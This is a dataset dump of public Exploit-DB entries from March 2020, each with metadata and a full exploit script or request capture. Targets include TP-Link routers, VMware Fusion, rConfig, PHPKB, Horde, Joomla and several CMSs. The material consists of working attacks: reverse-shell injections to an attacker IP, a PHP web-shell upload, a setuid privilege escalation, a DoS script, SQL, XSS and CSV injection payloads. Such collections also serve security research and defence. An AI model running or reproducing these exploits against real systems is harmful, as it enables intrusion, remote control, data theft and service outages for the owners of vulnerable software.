QLWD/code_shield huggingface dataset:
标题: TP-Link Archer C50 3 - Denial of Service (PoC) EDB-ID: 48255 CVE: 2020-9375 类型: DOS 平台: HARDWARE 发布日期: 2020-03-26 漏洞利用脚本: # Exploit Title: TP-Link Archer C50 3 - Denial of Service (PoC)
# Date: 2020-01-25
# Exploit Author: thewhiteh4t
# Vendor Homepage: https://www.tp-link.com/
# Version: TP-Link Archer C50 v3 Build 171227
# Tested on: Arch Linux x64
# CVE: CVE-2020-9375
# Description: https://thewhiteh4t.github.io/2020/02/27/CVE-2020-9375-TP-Link-Archer-C50-v3-Denial-of-Service.html

import time
import socket

ip = '192.168.0.1'
port = 80

print('[+] IP   : ' + ip)
print('[+] Port : ' + str(port))

for i in range(2):
 time.sleep(1)
 try:
  print('[+] Initializing Socket...')
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.settimeout(5)
  print('[!] Connecting to target...')
  s.connect((ip, port))
  header = 'GET / HTTP/1.1\r\nHost: {}\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0\r\nReferer: thewhiteh4t\r\n\r\n'.format(ip)
  header = header.encode()
  print('[!] Sending Request...')
  s.sendall(header)
  print('[!] Disconnecting Socket...')
  s.close()
  if i == 1:
   print('[-] Exploit Failed!')
   break
 except Exception as e:
  if 'Connection refused' in str(e):
   print('[+] Connection Refused...Exploit Successful!')
   break
  else:
   print('[-] Exploit Failed!')
   break URL: https://www.exploit-db.com/exploits/48255
标题: LeptonCMS 4.5.0 - Persistent Cross-Site Scripting EDB-ID: 48250 CVE: 2020-12707 类型: WEBAPPS 平台: PHP 发布日期: 2020-03-25 漏洞利用脚本: # Exploit Title: LeptonCMS 4.5.0 - Persistent Cross-Site Scripting
# Google Dork: "lepton cms"
# Date: 2019-03-24
# Exploit Author: SunCSR (Sun* Cyber Security Research)
# Vendor Homepage: https://lepton-cms.org/english/home.php
# Software Link:
https://lepton-cms.org/posts/new-release-lepton-4.5.0-139.php
# Version: 4.5.0
# Tested on: Windows
# CVE : CVE-2020-12707

### Vulnerability : Persistent Cross-Site Scripting

# Description
A stored cross-site-scripting security issue in the edit page feature
Url : http://TARGET/lepton/backend/pages/modify.php
Request Type: POST
Vulnerable Parameter : "content"
Payload : content=<script>alert('XSS')</script>

#POC
POST /lepton/modules/wysiwyg/save.php?leptoken=03d01fea73f9810402beez1585032684 HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 79
Origin: http://TARGET
Connection: close
Referer: http://TARGET/lepton/backend/pages/modify.php?page_id=5&leptoken=f04ef2dc728873e9fa849z1585032680
Cookie: cookieconsent_status=dismiss; SESSc3618c3927e551a1d6443b365aef1bc3=_guGZcGkV8IUWJx91f8pVQo8aBpxO4ipp75Un8WQN-g; _ctr=MTI3XzBfMF8xLlpa; nv4_cltz=420.420.420%257C%252F%257C.thiennv.com; nv4_ctr=MTI3XzBfMF8xLlpa; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off; 5e71dbd610916_SESSION=bt38jrlr7ajgc28t6db10mdgu7; lep8407sessionid=6aqrn6ccetoeqdes68e44hdlul
Upgrade-Insecure-Requests: 1

page_id=5&section_id=5&content5=<script>alert('XSS')</script>

### History
=============
2020-03-18  Issue discovered
2020-04-20  Vendor contacted
2020-04-21  Vendor response and hotfix
2020-04-23  Vendor releases fixed versions URL: https://www.exploit-db.com/exploits/48250
标题: UliCMS 2020.1 - Persistent Cross-Site Scripting EDB-ID: 48244 CVE: 2020-12704 类型: WEBAPPS 平台: PHP 发布日期: 2020-03-24 漏洞利用脚本: # Exploit Title: UliCMS 2020.1 - Persistent Cross-Site Scripting
# Google Dork: N/A
# Date: 2019-03-24
# Exploit Author: SunCSR
# Vendor Homepage: https://en.ulicms.de
# Software Link: https://en.ulicms.de/current_versions.html
# Version: 2020.1
# Tested on: Windows
# CVE : CVE-2020-12704

### Vulnerability : Stored Cross-Site Scripting

# Description
A stored cross-site-scripting security issue in the save page feature
Url : http://TARGET/ulicms/admin/index.php?action=pages_edit&page=20
Request Type: POST
Vulnerable Parameter : "content"
Payload : content=<script>alert('XSS')</script>

#POC
POST /ulicms/admin/index.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: */*
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://TARGET/ulicms/admin/index.php?action=pages_edit&page=20
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 866
Origin: http://TARGET
Connection: close
Cookie: 5e71dbd610916_SESSION=bt38jrlr7ajgc28t6db10mdgu7

csrf_token=f7249e4cc148ffc3383b6f6254dfc6cb&sClass=PageController&sMethod=edit&edit_page=edit_page&page_id=20
&slug=lorem_ipsum&title=Lorem+Ipsum&alternate_title=&show_headline=1&type=page&language=de&menu=top&position=15
&parent_id=NULL&active=1&target=_self&hidden=0&category_id=1&menu_image=&link_url=&link_to_language=
&meta_description=&meta_keywords=&robots=&article_author_name=&article_author_email=&article_date=&excerpt=&og_title=
&og_description=&og_image=&list_type=null&list_language=&list_category=0&list_menu=&list_parent=&list_order_by=title
&list_order_direction=asc&limit=0&list_use_pagination=0&module=null&video=&audio=&image_url=
&text_position=before&article_image=&author_id=1&group_id=1&comments_enabled=null&cache_control=auto&theme=
&access%5B%5D=all&custom_data=%7B%7D&content=<script>alert('XSS')</script>&csrf_token=f7249e4cc148ffc3383b6f6254dfc6cb

### History
=============
2019-03-18  Issue discovered
2019-04-18  Vendor contacted
2019-04-18  Vendor response and hotfix
2019-04-24  Vendor releases fixed versions URL: https://www.exploit-db.com/exploits/48244
标题: VMware Fusion 11.5.2 - Privilege Escalation EDB-ID: 48235 CVE: 2020-3950 类型: LOCAL 平台: MACOS 发布日期: 2020-03-20 漏洞利用脚本: # Exploit Title: VMware Fusion 11.5.2 - Privilege Escalation
# Date: 2020-03-17
# Exploit Author: Rich Mirch
# Vendor Homepage: https://www.vmware.com/products/fusion.html
# Vendor Advisory: https://www.vmware.com/security/advisories/VMSA-2020-0005.html
# Software Link: https://download3.vmware.com/software/fusion/file/VMware-Fusion-11.5.1-15018442.dmg
# Versions:
# VMware Fusion Professional 11.5.1 (15018442)
# VMware Fusion Professional 11.5.2 (15794494)
#
# Tested on: macOS 10.14.6
# CVE : CVE-2020-3950
# Source PoC: https://raw.githubusercontent.com/mirchr/security-research/master/vulnerabilities/CVE-2020-3950.sh
#
#
#!/bin/bash
echo "CVE-2020-3950 VMware Fusion EoP PoC by @0xm1rch"

mkdir -p ~/a/b/c
mkdir -p ~/Contents/Library/services

cat > ~/Contents/Library/services/VMware\ USB\ Arbitrator\ Service <<EOF
#!/usr/bin/python
import os
os.setuid(0)
os.system("cp /bin/bash $HOME/.woot;chmod 4755 $HOME/.woot");
EOF

chmod 755 ~/Contents/Library/services/VMware\ USB\ Arbitrator\ Service

cd ~/a/b/c
ln "/Applications/VMware Fusion.app/Contents/Library/services/Open VMware USB Arbitrator Service" . 2>/dev/null
"${PWD}/Open VMware USB Arbitrator Service" >/dev/null 2>/dev/null &
p=$!
echo "Sleeping for 5 seconds"
sleep 5
kill ${p?}
wait

echo "Sleeping for 7 seconds"
sleep 7

$HOME/.woot -p URL: https://www.exploit-db.com/exploits/48235
标题: rConfig 3.9.4 - 'search.crud.php' Remote Command Injection EDB-ID: 48241 CVE: 2020-10879 类型: WEBAPPS 平台: PHP 发布日期: 2020-03-23 漏洞利用脚本: # Exploit Title: rConfig 3.9.4 - 'search.crud.php' Remote Command Injection
# Date: 2020-03-21
# Exploit Author: Matthew Aberegg, Michael Burkey
# Vendor Homepage: https://www.rconfig.com
# Software Link: https://www.rconfig.com/downloads/rconfig-3.9.4.zip
# Version: rConfig 3.9.4
# Tested on: Cent OS 7 (1908)
# CVE: CVE-2020-10879

#!/usr/bin/python3

import requests
import sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

if len(sys.argv) != 6:
    print("[~] Usage : https://rconfig_host, Username, Password, Attacker IP, Attacker Port")
    exit()

host = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
attacker_ip = sys.argv[4]
attacker_port = sys.argv[5]

login_url = host + "/lib/crud/userprocess.php"
payload = "|| bash -i >& /dev/tcp/{0}/{1} 0>&1 ;".format(attacker_ip, attacker_port)
encoded_payload = urllib.parse.quote_plus(payload)


def exploit():
    s = requests.Session()

    res = s.post(
        login_url,
        data={
            'user': username,
            'pass': password,
            'sublogin': 1
        },
        verify=False,
        allow_redirects=True
    )

    injection_url = "{0}/lib/crud/search.crud.php?searchTerm=test&catId=2&numLineStr=&nodeId={1}&catCommand=showcdpneigh*.txt&noLines=".format(host, encoded_payload)
    res = s.get(injection_url, verify=False)

    if res.status_code != 200:
        print("[~] Failed to connect")


if __name__ == '__main__':
    exploit() URL: https://www.exploit-db.com/exploits/48241
标题: PHPKB Multi-Language 9 - 'image-upload.php' Authenticated Remote Code Execution EDB-ID: 48221 CVE: 2020-10386 类型: WEBAPPS 平台: PHP 发布日期: 2020-03-16 漏洞利用脚本: # Exploit Title: PHPKB Multi-Language 9 - 'image-upload.php' Authenticated Remote Code Execution
# Google Dork: N/A
# Date: 2020-03-15
# Exploit Author: Antonio Cannito
# Vendor Homepage: https://www.knowledgebase-script.com/
# Software Link: https://www.knowledgebase-script.com/pricing.php
# Version: Multi-Language v9
# Tested on: Windows 8.1 / PHP 7.4.3
# CVE : CVE-2020-10386


#!/usr/bin/env python3
import argparse
import requests
from json import loads

#Parsing arguments
parser = argparse.ArgumentParser(description="Exploiting CVE-2020-10386 - Remote Code Execution via .php file upload in admin/imagepaster/image-upload.php in Chadha PHPKB Standard Multi-Language 9")
parser.add_argument("url", type=str, help="PHPKB's base path")
parser.add_argument("username", type=str, help="Superuser/Writer/Translator/Editor username")
parser.add_argument("password", type=str, help="Superuser/Writer/Translator/Editor password")
parser.add_argument("command", type=str, help="The command you want to execute")
args = parser.parse_args()

session = requests.Session()
#Perform login
session.post(args.url + "/admin/login.php", data={'phpkb_username': args.username, 'phpkb_password': args.password, 'login': 'LOGIN'}).text
#Sending exploit code
baseurl = loads(session.post(args.url + "/admin/imagepaster/image-upload.php", files={'file': "<?php echo shell_exec($_GET['cmd'].' 2>&1'); ?>"}, data={'action': 'imageinsert_upload', 'imgMime': 'image/php', 'imgName': '../js/index.png', 'imgParent': 'null'}).text)["url"]
print("Visit this page to execute the command:\n" + baseurl + "?cmd=" + args.command)
print("\nIf you want to execute other commands you can re-execute the exploit or visit this webpage, followed by the command you want executed:\n" + baseurl + "?cmd=") URL: https://www.exploit-db.com/exploits/48221
标题: PHPKB Multi-Language 9 - Authenticated Directory Traversal EDB-ID: 48220 CVE: 2020-10387 类型: WEBAPPS 平台: PHP 发布日期: 2020-03-16 漏洞利用脚本: # Exploit Title: PHPKB Multi-Language 9 - Authenticated Directory Traversal
# Google Dork: N/A
# Date: 2020-03-15
# Exploit Author: Antonio Cannito
# Vendor Homepage: https://www.knowledgebase-script.com/
# Software Link: https://www.knowledgebase-script.com/pricing.php
# Version: Multi-Language v9
# Tested on: Windows 8.1 / PHP 7.4.3
# CVE : CVE-2020-10387
##########################


#!/usr/bin/env python3
import argparse
import requests
import shutil

#Parsing arguments
parser = argparse.ArgumentParser(description="Exploiting CVE-2020-10387 - Authenticated Arbitrary File Download in admin/download.php in Chadha PHPKB Standard Multi-Language 9")
parser.add_argument("url", type=str, help="PHPKB's base path")
parser.add_argument("username", type=str, help="Superuser username")
parser.add_argument("password", type=str, help="Superuser password")
parser.add_argument("file", type=str, help="The file you want to download (starting from PHPKB's base path)")
args = parser.parse_args()

session = requests.Session()
#Perform login
session.post(args.url + "/admin/login.php", data={'phpkb_username': args.username, 'phpkb_password': args.password, 'login': 'LOGIN'}).text
#Sending exploit code and downloading the file
url = args.url + "/admin/download.php?called=ajax&act=backup-lang&file=../../" + args.file
ext = url.split("/")[-1]
with open(ext, 'wb') as file:
    shutil.copyfileobj(session.get(url, stream=True).raw, file)
del session URL: https://www.exploit-db.com/exploits/48220
标题: Microsoft Windows 10 (1903/1909) - 'SMBGhost' SMB3.1.1 'SMB2_COMPRESSION_CAPABILITIES' Buffer Overflow (PoC) EDB-ID: 48216 CVE: 2020-0796 类型: DOS 平台: WINDOWS 发布日期: 2020-03-14 漏洞利用脚本: # CVE-2020-0796 PoC aka CoronaBlue aka SMBGhost

Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/48216.zip

## Usage

`./CVE-2020-0796.py servername`

This script connects to the target host, and compresses the authentication request with a bad offset field set in the transformation header, causing the decompressor to buffer overflow and crash the target.

This contains a modification of the excellent [smbprotocol](https://github.com/jborean93/smbprotocol) with added support for SMB 3.1.1 compression/decompression (only LZNT1). Most of the additions are in `smbprotocol/connection.py`. A version of [lznt1](https://github.com/you0708/lznt1) is included, modified to support Python 3.

The compression transform header is in the `SMB2CompressionTransformHeader` class there. The function `_compress` is called to compress tree requests. This is where the offset field is set all high to trigger the crash.

```python
    def _compress(self, b_data, session):
        header = SMB2CompressionTransformHeader()
        header['original_size'] = len(b_data)
        header['offset'] = 4294967295
        header['data'] = smbprotocol.lznt1.compress(b_data)
```

## About

CVE-2020-0796 is a bug in Windows 10 1903/1909's new SMB3 compression capability. SMB protocol version 3.1.1 introduces the ability for a client or server to advertise compression cabilities, and to selectively compress SMB3 messages as beneficial. To accomplish this, when negotiating an SMB session, the client and server must both include a `SMB2_COMPRESSION_CAPABILITIES` as documented in [MS-SMB2 2.2.3.1.3](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271).

Once a session is negotiated with this capability, either the client or the server can selectively compress certain SMB messages. To do so, the entire SMB packet is compressed, and a transformed header is prepended, as documented in [MS-SMB2 2.2.42](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/1d435f21-9a21-4f4c-828e-624a176cf2a0). This header is a small (16 bytes) structure with a magic value, the uncompressed data size, the compression algorithm used, and an offset value.

CVE-2020-0796 is caused by a lack of bounds checking in that offset size, which is directly passed to several subroutines. Passing a large value in will cause a buffer overflow, and crash the kernel. With further work, this could be developed into a RCE exploit. URL: https://www.exploit-db.com/exploits/48216
标题: Horde Groupware Webmail Edition 5.2.22 - Remote Code Execution EDB-ID: 48215 CVE: 2020-8518 类型: WEBAPPS 平台: PHP 发布日期: 2020-03-10 漏洞利用脚本: #!/bin/sh

if [ "$#" -ne 4 ]; then
    echo '[!] Usage: <url> <username> <password> <command>' 1>&2
    exit 1
fi

BASE="$1"
USERNAME="$2"
PASSWORD="$3"
COMMAND="$4"

JAR="$(mktemp)"
trap 'rm -f "$JAR"' EXIT

echo "[+] Logging in as $USERNAME:$PASSWORD" 1>&2
curl -si -c "$JAR" "$BASE/login.php" \
    -d 'login_post=1' \
    -d "horde_user=$USERNAME" \
    -d "horde_pass=$PASSWORD" | grep -q 'Location: /services/portal/' || \
    echo '[!] Cannot log in' 1>&2

echo "[+] Uploading dummy file" 1>&2
echo x | curl -si -b "$JAR" "$BASE/mnemo/data.php" \
    -F 'actionID=11' \
    -F 'import_step=1' \
    -F 'import_format=csv' \
    -F 'notepad_target=x' \
    -F 'import_file=@-;filename=x' \
    -so /dev/null

echo "[+] Running command" 1>&2
BASE64_COMMAND="$(echo -n "$COMMAND 2>&1" | base64 -w0)"
curl -b "$JAR" "$BASE/mnemo/data.php" \
    -d 'actionID=3' \
    -d 'import_step=2' \
    -d 'import_format=csv' \
    -d 'header=1' \
    -d 'fields=1' \
    -d 'sep=x' \
    --data-urlencode "quote=).passthru(base64_decode(\"$BASE64_COMMAND\")).die();}//\\" URL: https://www.exploit-db.com/exploits/48215
标题: WordPress Plugin Appointment Booking Calendar 1.3.34 - CSV Injection EDB-ID: 48204 CVE: 2020-9372 2020-9371 类型: WEBAPPS 平台: PHP 发布日期: 2020-03-12 漏洞利用脚本: # Exploit Title: Wordpress Plugin Appointment Booking Calendar 1.3.34 - CSV Injection
# Google Dork: N/A
# Date: 2020-03-05
# Exploit Author: Daniel Monzón (stark0de)
# Vendor Homepage: https://www.codepeople.net/
# Software Link: https://downloads.wordpress.org/plugin/appointment-booking-calendar.zip
# Version: 1.3.34
# Tested on: Windows 7 x86 SP1
# CVE : CVE-2020-9371, CVE-2020-9372

----Stored Cross-Site-Scripting-------------------

1) In http://127.0.0.1/wordpress/wp-admin/admin.php?page=cpabc_appointments.php
2) Calendar Name=<script>alert(0)</script> and Update
3) Click in any of the other tabs

----CSV injection---------------------------------

1) First we create a new calendar (Pages, add new, booking calendar) and Publish it (we can now log out) 
2) Then we go to the page and introduce data, and the payload:

New booking:

Name: IMPORTANT DATA
Description: http://evil.com/evil.php

New booking:

Name: test
Description: =HYPERLINK(K2;H2) 

This is the way it would work if i had a business registered and the payment was completed it can also be done by adding the new bookings with the same data from the admin panel

3) Then we go to Bookings List and export the CSV file
4) After that we open the file, and import data from an external file, using comma as separator
5) Hyperlink to malicious PHP file is inserted and the user clicks on it, user is redirected to a fake login page (for example)

Tested on Windows 7 Pro SP1 32-bit, Wordpress 5.3.2 and Excel 2016 URL: https://www.exploit-db.com/exploits/48204
标题: Centos WebPanel 7 - 'term' SQL Injection EDB-ID: 48212 CVE: 2020-10230 类型: WEBAPPS 平台: LINUX 发布日期: 2020-03-13 漏洞利用脚本: # Exploit Title: Centos WebPanel 7 - 'term' SQL Injection
# Google Dork: N/A
# Date: 2020-03-03
# Exploit Author: Berke YILMAZ
# Vendor Homepage: http://centos-webpanel.com/
# Software Link: http://centos-webpanel.com/
# Version: v6 - v7
# Tested on: Kali Linux - Windows 10
# CVE : CVE-2020-10230

# Type: Error Based SQL Injection
# Payload:
https://{DOMAIN_NAME}:2031/cwp_{SESSION_HASH}/admin/loader_ajax.php?ajax=dashboard&action=searchIn&term=a'
AND (SELECT 1197 FROM(SELECT COUNT(*),CONCAT(0x716b6a7171,(SELECT
(ELT(1197=1197,1))),0x71707a7671,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- aRuO


# Type: Time Based SQL Injection
# Payload:
https://{DOMAIN_NAME}:2031/cwp_{SESSION_HASH}/admin/loader_ajax.php?ajax=dashboard&action=searchIn&term=a'
OR SLEEP(5)-- JCpP

Centos-Webpanel (http://centos-webpanel.com/)
CentOS Web Panel | Free Linux Web Hosting Control Panel
Free CentOS Linux Web Hosting control panel designed for quick and easy
management of (Dedicated & VPS) servers without of need to use ssh console
for every little thing URL: https://www.exploit-db.com/exploits/48212
标题: rConfig 3.93 - 'ajaxAddTemplate.php' Authenticated Remote Code Execution EDB-ID: 48207 CVE: 2020-10221 类型: WEBAPPS 平台: PHP 发布日期: 2020-03-12 漏洞利用脚本: # Exploit Title: rConfig 3.93 - 'ajaxAddTemplate.php' Authenticated Remote Code Execution
# Date: 2020-03-08
# Exploit Author: Engin Demirbilek
# Vendor Homepage: https://www.rconfig.com/
# Version: rConfig <= 3.94
# Tested on: centOS
# CVE: CVE-2020-10221
# Advisory link: https://engindemirbilek.github.io/rconfig-3.93-rce

import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
if len(sys.argv) < 6:
 print "Usage: ./exploit.py http(s)://url username password listenerIP listenerPort"
 exit()

url = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
payload = ";bash -i >& /dev/tcp/{}/{} 0>&1;".format(sys.argv[4], sys.argv[5])

login = {
 'user':user,
 'pass':password,
 'sublogin':'1'
}
req = requests.Session()
print "Sendin login request ..."
login = req.post(url+"/lib/crud/userprocess.php", data=login, verify=False)

payload = {
 'fileName':payload,
}



print "[+] Sendin exploit ..."

exploit = req.post(url+"/lib/ajaxHandlers/ajaxAddTemplate.php",cookies=req.cookies, data=payload, headers={
'User-Agent':'Mozilla/5.0 Gecko/20100101 Firefox/72.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Encoding':'gzip, deflate',
'Content-Type':'application/x-www-form-urlencoded'},verify=False)

if exploit.status_code == 200:
 print "[+] Everything seems ok, check your listener."
else:
 print "[-] Exploit failed,  system is patched or credentials are wrong." URL: https://www.exploit-db.com/exploits/48207
标题: Joomla! 3.9.0 < 3.9.7 - CSV Injection EDB-ID: 48198 CVE: 2019-12765 类型: WEBAPPS 平台: PHP 发布日期: 2020-03-11 漏洞利用脚本: #!/usr/bin/python3

# Exploit Title: Joomla 3.9.0 < 3.9.7 - CSV Injection 
# Date: 2020-03-10
# Vulnerability Authors: Jose Antonio Rodriguez Garcia and Phil Keeble (MWR InfoSecurity)
# Exploit Author: Abdullah - @i4bdullah
# Vendor Homepage: https://www.joomla.org/
# Software Link: https://downloads.joomla.org/cms/joomla3/3-9-5/Joomla_3-9-5-Stable-Full_Package.zip?format=zip
# Version: 3.9.0 < 3.9.7
# Tested on: Ubuntu 18.04 LTS and Windows 7
# CVE : CVE-2019-12765

import mechanize
import sys

if (len(sys.argv) != 2):
    print(f'Usage: {sys.argv[0]} <Base URL>')
    print(f'Example: {sys.argv[0]} http://127.0.0.1 ')
    sys.exit(1)

base_url = sys.argv[1]
reg_url = f"{base_url}/joomla/index.php/component/users/?view=registration&Itemid=101"
login_url = f"{base_url}/joomla/index.php?option=com_users"

def pwn(username='abdullah'):
    payload = "=cmd|'/c calc.exe'!A1"
    print(f"Registering a new user with the name <{payload}>...")
    reg_form = mechanize.Browser()
    reg_form.set_handle_robots(False)
    reg_form.open(reg_url)
    reg_form.select_form(nr=0)
    reg_form.form['jform[name]'] = payload
    reg_form.form['jform[username]'] = username
    reg_form.form['jform[password1]'] = 'password'
    reg_form.form['jform[password2]'] = 'password'
    reg_form.form['jform[email1]'] = 'whatever@i4bdullah.com'
    reg_form.form['jform[email2]'] = 'whatever@i4bdullah.com'
    reg_form.submit()
    print("The exploit ran successfully.")
    print("Exiting...")
    sys.exit(0)

pwn() URL: https://www.exploit-db.com/exploits/48198
标题: Persian VIP Download Script 1.0 - 'active' SQL Injection EDB-ID: 48190 CVE: 2020-15468 类型: WEBAPPS 平台: PHP 发布日期: 2020-03-10 漏洞利用脚本: # Exploit Title: Persian VIP Download Script 1.0 - 'active' SQL Injection
# Data: 2020-03-09
# Exploit Author: S3FFR
# Vendor HomagePage: http://download.freescript.ir/scripts/Persian-VIP-Download(FreeScript.ir).zip
# Version: = 1.0 [Final Version]
# Tested on: Windows,Linux
# Google Dork: N/A


=======================
Vulnerable Page:

/cart_edit.php

=======================

Vulnerable Source:

89: mysql_query $user_p = mysql_fetch_array(mysql_query("SELECT * FROM `users` where id='$active'")); 
71: $active = $_GET['active']; 

======================
sqlmap:

sqlmap -u "http://target.com/cart_edit.php?active=1" -p active --cookie=[COOKIE] --technique=T --dbs
=======================

Testing Method :
 
 - time-based blind

Parameter: active (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: active=1' AND (SELECT 4169 FROM (SELECT(SLEEP(5)))wAin) AND 'zpth'='zpth

======================== URL: https://www.exploit-db.com/exploits/48190